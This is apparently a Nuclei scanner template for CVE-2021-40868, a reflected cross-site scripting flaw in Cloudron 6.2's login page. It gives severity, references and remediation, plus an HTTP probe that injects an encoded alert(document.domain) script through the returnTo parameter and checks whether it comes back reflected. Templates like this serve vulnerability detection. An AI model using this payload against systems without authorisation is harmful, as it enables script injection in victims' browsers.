50 lines
1.7 KiB
YAML
50 lines
1.7 KiB
YAML
id: CVE-2021-40868
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info:
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name: Cloudron 6.2 Cross-Site Scripting
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author: daffainfo
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severity: medium
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description: In Cloudron 6.2, the returnTo parameter on the login page is vulnerable to cross-site scripting.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
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remediation: Upgrade to Cloudron 6.3 or higher.
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reference:
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- https://packetstormsecurity.com/files/164255/Cloudron-6.2-Cross-Site-Scripting.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-40868
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- https://packetstormsecurity.com/files/164183/Cloudron-6.2-Cross-Site-Scripting.html
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- https://www.cloudron.io/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-40868
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cwe-id: CWE-79
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epss-score: 0.00379
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epss-percentile: 0.70078
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cpe: cpe:2.3:a:cloudron:cloudron:6.2:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: cloudron
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product: cloudron
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tags: cve2021,cve,xss,cloudron,packetstorm
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http:
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- method: GET
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path:
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- '{{BaseURL}}/login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "text/html"
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- type: word
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part: body
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words:
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- '</script><script>alert(document.domain)</script>'
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- type: status
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status:
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- 200
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# digest: 490a004630440220628d9846f70a66e442b1121f0f6b7b813d62c69e766a22b840af9087882874d002200ec9c609e877fcf33e2aedd6c37bda1a76ca4b37a1e7f933fba0e927838ec73b:922c64590222798bb761d5b6d8e72950 |